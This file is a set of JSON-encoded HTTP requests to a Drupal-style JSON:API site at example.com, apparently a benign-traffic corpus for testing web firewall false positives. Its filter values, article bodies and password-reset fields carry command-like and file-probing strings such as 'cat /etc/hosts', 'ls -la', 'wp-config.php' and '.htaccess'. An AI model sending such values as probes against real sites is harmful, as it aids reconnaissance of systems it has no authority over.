{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"example-password-1\"}"}
{"method": "GET", "target": "/user/login_status?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/session/token", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/jsonapi", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/page", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?include=uid,field_tags,field_image&sort=-created,title&page%5Blimit%5D=10&page%5Boffset%5D=0&fields%5Bnode--article%5D=title,body,created", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=hello%20world&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=hello%20world", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=python3&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=powershell&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=.htaccess&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"Python3 and PowerShell via API\", \"body\": {\"value\": \"<p>Run ls -la in python3 and cat /etc/hosts; see <a href=\\\"/python3-notes\\\">notes</a>.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"47f40026-bda0-41dc-b81a-f1a13535af4c\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "POST", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "DELETE", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": ""}
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
{"method": "POST", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "‰PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015ĉ\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002‡\u0001€ëGº’\u0000\u0000\u0000\u0000IEND®B`‚"}
{"method": "DELETE", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": ""}
